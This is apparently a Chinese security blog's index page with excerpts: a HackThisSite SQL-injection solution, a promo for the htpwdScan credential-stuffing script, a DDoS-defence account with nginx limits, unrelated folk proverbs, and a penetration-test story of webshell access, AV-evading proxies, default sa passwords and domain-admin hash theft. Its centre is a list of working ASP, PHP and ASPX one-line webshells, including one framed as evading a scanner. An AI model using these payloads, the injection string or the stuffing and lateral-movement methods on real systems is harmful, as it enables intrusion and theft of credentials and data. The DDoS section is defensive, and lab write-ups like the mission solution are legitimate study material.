hackthissite realistic mission 2

试试看SQL注入吧! 如果这个用户名密码验证的SQL语句为strSql = “SELECT *FROM tbl WHERE username=’” + username.text + “‘ AND password=’” + password.text + “‘”; 那么假设在用户名文本框里输入 ’ or 1=1– ,那么SQL语句变为SELECT * FROM tbl WHERE username=” or 1=1– AND password=” 尽管username为空串,但是和1=1这个恒真的等式或运算以后,SELECT后的结果就是表里所有的数据,而1=1后面的–把后面的AND password=”注释掉了,如果程序里面再判断只要结果不为空即登录成功的话…嘿嘿~ Mission 2 complete!

撞库攻击脚本

htpwdScan 是一个简单的HTTP暴力破解、撞库攻击脚本. 它的特性: 支持批量校验并导入HTTP代理,低频撞库可以成功攻击大部分网站,绕过大部分防御策略和waf 支持直接导入互联网上泄露的社工库,发起撞库攻击 支持导入超大字典

DDos攻击和预防

晚上23点左右收到大量的监控报警,公司网站直接不能访问了,立即登录服务器,直接top看到情况如下: 发现负载都达到了800了,机器眼看就要爆了,首先先停了mysql,发现负载有点下降,联系了开发同事一同查看,因为今天新上线了一些代码,可能是新上代码的问题,随后看到负载依然没降,然后将php和nginx都重启了,虽然短暂的降了一些,过一会立马负载又起来了,这时看了下nginx日志,看是不是用户访问导致的问题,结果一看就发现问题了,如下: 30分钟发了你60w+的请求。 发现这个ip不停的发请求,很明显,是被攻击了,临时将这个ip在nginx中deny掉,直接返回给它503,配置如下:在server中加入 负载也慢慢降下来了,服务也正常了,当时太晚了,洗洗就睡了,结果第二天早上一来又发现网站打不开了,直接看nginx日志,攻击者换了一个ip,跟昨晚的现象一样,这次直接在源头把他干掉了,就是添加iptables,如下: 将攻击的ip全部写入iptables里面,然后联系机房看能不能做策略协助解决这种CC攻击,最后机房那边也将这些ip给封了,但是攻击者在换ip怎么办?不可能他换一个我加一条把,看来只能发大招了,写了个iptables脚本,如下: 统计tcp连接,同一ip超过500次tcp连接的肯定就是攻击者的ip了,正常用户也不可能一下去开500个窗口去访问我的网站吧,然后将这个ip直接在iptables上面干掉,现在好了,问题解决了,这种CC攻击有一个特点就是用的源ip基本都是固定的,DDOS有些可能是用不同原ip进行攻击,那么这种防御就显得有些吃力了。那遇到不同源ip攻击怎么防御呢? 首先要联系机房,一般机房都有监控和防御设备,让机房帮忙解决一些问题可能更有效,不能在iptable上面去防御,就只能通过nginx去防御了,让nginx去识别哪些是攻击者,哪些是真正的用户?其实nginx有2个模块:ngx_http_limit_conn_module和ngx_http_limit_req_module 可以参考官方文档: http://nginx.org/cn/docs/http/ngx_http_limit_req_module.html http://nginx.org/cn/docs/http/ngx_http_limit_conn_module.html 首先在http中定义,如下: limit_conn_zone $binary_remote_addr zone=addr:10m; limit_req_zone $binary_remote_addr zone=one:10m rate=1r/s; 然后到你需要限制的目录下面,server段中,一般就是php请求,如下: location ~* ^/(.*)\.php?$ { limit_conn addr 3; limit_req zone=one burst=2 nodelay; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $host_path/$fastcgi_script_name; include fastcgi_params; } 应用这2条规则后,只要需要执行php脚本的这些页面同一个IP只许建立3个连接,并且每秒只能有1个请求(突发请求可以达到2个)。 虽然这样的规则一般来说对正常的用户不会产生影响(极少有人在1秒内打开3个页面),但是为了防止影响那些手快的用户访问,可以在nginx中自定义503页面,503页面对用户进行提示,然后自动刷新,这个参数可以根据自己的情况进行更改,这样不管攻击者是多个ip还是单个ip攻击都可以防御到, 如果在nginx日志中能找到攻击者特有的代码,这样就更容易防御, 比如User-agent。下面的是某一次CC攻击时的User-agent Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MyIE 3.01)Cache-Control: no-store,… More DDos攻击和预防

一句话木马

<%execute request(“value”)%> <%eval request(“value”)%> 常用一句话木马 asp一句话木马: <%execute(request(“value”))%> php一句话木马: <?php @eval($_POST[value]);?> aspx一句话木马: <%@ Page Language=”Jscript”%> <%eval(Request.Item[“value”])%> 其他一句话木马: <%eval request(“value”)%> <%execute request(“value”)%> <%execute(request(“value”))%> <%If Request(“value”)<>”” Then Execute(Request(“value”))%> <%if request (“value”)<>””then session(“value”)=request(“value”):end if:if session(“value”)<>”” then execute session(“value”)%> execute request(“value”) <%@ Page Language=”Jscript”%> <%eval(Request.Item[“value”],”unsafe”);%> 可以躲过雷客图的一句话木马: <% set ms = server.CreateObject(“MSScriptControl.ScriptControl.1″) ms.Language=”VBScript” ms.AddObject “Response”, Response ms.AddObject “request”, request ms.ExecuteStatement(“ev”&”al(request(“”value””))”) %>… More 一句话木马

混社会大全,不服不行

人情是纸张张薄,事事如棋局局新。 贫在闹市无人问,富在深山有远亲。 不信但看宴中酒,杯杯先敬富贵人。 门前拴上高头马,不是亲来也是亲。 门前放根讨饭棍,亲戚故友不上门。 世上结交须黄金,黄金不多交不深。 纵令然诺暂相许,终是悠悠路行人。 有钱有酒多兄弟,急难何曽见一人。 胜者为王败者寇,只重衣冠不重人。 三贫三富不到老,十年兴败多少人。 在官三日人问我,离官三日我问人。 古人不见今时月,今月曾经照古人。 近水楼台先得月,向阳花木易逢春。 谁人背后无人说,谁人背后不说人。 百炼化身成铁汉,三缄其口学金人。 十分伶俐使七分,常留三分与儿孙。  君子落得做君子,小人枉自做小人。  山中自有千年树,世上难逢百岁人。   岂无远道思亲泪,不及高堂念子心。 堂上二老是活佛,何用灵山朝世尊。 平身不做皱眉事,世上应无切齿人。 越奸越狡越贫穷,奸狡原来天不容。 富贵若从奸狡起,世间呆汉喝西风。 求人须求大丈夫,济人须济急时无。 茫茫四海人无数,哪个男儿是丈夫。 人情是水分高下,世事如云任卷舒。 如山不怕伤人虎,只怕人情两面刀。 务求到处人情好,不饮随他酒价高。 知事少时烦恼少,识人多处是非多。 秋至满山皆秀色,春来无处不花香。 贫无达士将金赠,病有高人说药方。 美人卖笑千金易,壮士穷途一饭难。 少时总觉为人易,华年方知立业难。 用心计较般般错,退迟思量事事难。 世上闲愁千万斛,不叫一点上眉端。 毁身每是作恶日,成名皆在行善时。 莫把真心空计较,唯有大德享万年。 谗言败坏真君子,美色消磨狂少年。 神仙难断阴骘事,黄天不昧苦心人。 人恶人怕天不怕,人善人欺天不欺。 善恶到头终有报,只争来早与来迟。 平身不做亏心事,半夜敲门心不惊。 万事劝人休瞒昧,举头三尺有神明。 鬼神可敬不可谄,冤家宜解不宜结。 人生何处不相逢,莫因小怨动声色。 好义固为人所钦,贪利乃为鬼所笑。 贤者不炫己之长,君子不夺人所好。 善业可为须着力,是非闲杂莫劳心。 良田不由心田置,产业变为冤业折。 千年天地八百主,田是主人人是客。 阴地不如新地好,命运在人不在天。 有理问得君王倒,有钱难买子孙贤。 水暖水寒鱼自知,花开花谢春不管。 蜗牛角上校雌雄,石光火中争长短。… More 混社会大全,不服不行

记一次内网渗透

前言 一客户,指定要给其公司做安全测试可从网络层面做,也可以人肉社工🙂 对于一个小清新来说,怎么可以做人肉社工呢,要是把对方公司的妹子骗走怎么办,于是果断交给单身的同事去做了,自己默默的看站,客户扔过来的一个域名,域名是a.com,其他什么信息都没有。 信息收集 Google搜了下,得到了一批二级域名;开起kali用fierce来一轮域名枚举,成功枚举出某域名下的子域名列表。 可以看到邮件服务器的域名是mail.a.com,采用微软的exchange所搭建。再用Nslookup看了下mx记录,发现是smtp1.a.com,smtp2.a.com,也就是说目标邮件服务器不是用的腾讯或者谷歌之类的企业邮箱,而是他们自己的邮件服务器。因为一般这种情况下邮件服务器所在的ip地址段就是目标公司真实的ip地址段。于是剔除掉不在其ip段的域名,将目标锁定在mail.a.com所在的网段开始一系列的扫描。 内网渗透 经过一轮前端扫描,成功的扫到一个存在漏洞的二级域名,姑且称其为vulnerable.a.com 。该网站用wordpress所搭建,但是由于管理员的疏忽,在网站其中的一个文件夹还搭建了另一套测试系统,该系统在安全防护上较为薄弱,因此通过sql注入跨库查询到wordpress管理员帐号密码,成功登录到网站后台。由于wordpress后台拿webshell网上有不少教程了,这里就不再赘述。拿到webshell之后执行了下whoami命令发现权限是nt authority\system,估计是管理员疏忽没有做降权操作。 得到了webshell,首先看看内网是什么结构,net time /domain看了下,没有回显;ipconfig /all得到如下结果。 Net view 查看下周边机器情况得到如下结果,目测是工作组环境了 但是Exchange是基于域来搭建的,已经拿下来的这台网站服务器所处的环境是工作组,经过进一步的分析发现这几台内网服务器并没有涉及到目标的核心服务,因此初步判定网站服务器位于目标内网的DMZ区。继续搜集各种信息,首先netstat -ano看一下端口连接情况,很意外的发现有几个内网IP连接了过来,另一方面服务器连接到了内网一个IP的1433端口。姑且不去分析管理员到底在这台服务器上做了什么操作,但是能肯定的是内网的访问控制肯定没做好。一般来说,当规划一个拥有DMZ的网络时候,DMZ访问内网要有限制,否则当入侵者攻陷DMZ时,就可以进一步进攻到内网的重要数据。接着net start命令查看服务器开了什么服务,发现服务器用的杀软是金山毒霸。立刻着手免杀了个htran丢上去做个socks5代理方便下一步的渗透工作,经过扫描发现内网存在几台开了1433端口的服务器,习惯性的用sa用户名123456作为密码成功的连接上了其中一台数据库服务器。执行了一系列的命令后发现,主要的服务器都部署在域当中。 屡屡受挫 很不幸在数据库服务器上没有抓取到域管理员的哈希,只得到了一个普通域成员密码。通过这个普通成员的密码尝试登录内网的其他机器,在某台机器上居然抓到了其中一个域管理的哈希,当时很兴奋的尝试用破出来的管理员密码去登录域控,很可惜登录失败了。Net user 后发现管理员在一个月前修改过密码。所以抓到的这个历史密码也毫无意义了。期间尝试过可能会出现的密码组合以及管理员的习惯去加以尝试,均以失败告终。因为在内网踩点时得知域控服务器是Windows2008,因此尝试用Windows GPP安全问题去碰碰运气,结果域管理员根本就没有设置过组策略,也没有设置过什么登录脚本,因此这条路子就此夭折。又经过了半个月的测试,一天,不知道是什么原因引起管理员的注意,管理员在清理掉了我的webshell之后还在网络边界安装了个waf,导致无论是中国菜刀还是K8飞刀,只要有post过去的敏感数据都被重置连接了,这一时半会也找不到什么好的替代品,只能重新找个大马凑合着用。另一方面waf还定义的很多狗血的规则,一旦在web服务器上上传了大小超过100K的文件就会提示数据包长度超出,一时间渗透的思路就断了。 希望之光 遇到这种情况就应该吃根辣条冷静下。虽然大马在用起来有诸多不便,但是管理员还是没把权限降下来,webshell依旧是system权限;尝试连接内网的数据库服务器,sa密码也没有更改。但是socks5代理已经无法正常使用,估计是内网也做了一定的安全防护。于是着手写个VBS脚本去连接内网的那台数据库服务器来执行域命令。看了下之前被我关掉的那台服务器还是没开起来……再次使用net user 命令查看域管理员的信息,几天下来发现管理员登录次数还是很频繁的,看来还是只能通过蹲点碰运气去抓管理员的哈希了。此时因为不能轻易登录域内其他服务器导致打草惊蛇,因此用一个更简单的方法去刺探管理员是否登录某台域内服务器。在命令提示符下输入“Tasklist /s x.x.x.x /u username  /p password /v”(不包括引号)即可查看到IP地址为x.x.x.x 的远程系统的进程。/u后指Tasklist命令使用的用户账号,它必须是远程系统上的一个合法账号,/p后的“password ”指的是该用户的密码。写一个批处理,定时的对可以登录的域内服务器去跑,查看管理员是否曾经登录过,经过了漫长的等待,终于得到了回报,发现其中一台服务器上有域管理员登录过 当时马上操家伙上去把哈希抓了,破解后尝试登录域控。但现实是残酷的,还是提示登录错误!抱着绝望的心态再次net user查看了下管理员的信息,发现管理员在一天前刚修改了密码 。虽然结局很悲伤,但是值得欣慰的是这个办法是有效的,只要坚持不懈就能成功的搞定域管理员。 几近崩溃 又是一段漫长的等待,某天又在另一台域内服务器看到了类似上图的结果,抱着崩溃的心情再次去抓取了管理员哈希,破解后登录域控制器,结果还是提示密码错误。但是这次的结果很蹊跷,我反复的查询发现管理员在这段期间并没有修改密码。但是为什么无法登录就不得而知了。后来和朋友聊到这个事情,他说既然搞不定,就先放放聊聊说不定有思路呢,来聊点开心的,前些日子他说他恶搞了一个他讨厌的人,那娃通过社工得到了对方的论坛密码,然后很邪恶的修改密码在其原始密码处加了两个空格,因为那个论坛在找回密码的时候是会把密码发送到注册邮箱的,不提供直接修改密码的功能。因此这招非常的阴险,一般人来说怎么会注意到密码后面多了几个空格呢。 峰回路转 这阴损招数倒是提醒了我,因为我在最后一次抓哈希的时候,我很确定对方管理员在期间是没有修改过密码的,所以破出来的密码应该是不存在任何问题。难道是管理员在密码后加有空格!果然,我仔细的观察了在那在线破解哈希的网站所破出来的密码后,后边居然跟了3个空格!拿着这个逗比密码,成功的登录了域控,抓到了所有人的哈希,整个渗透终于告一段落。最后得出个结论:如果不够细心,就算幸运之神眷顾了自己,还是无法获得成功的。Game over。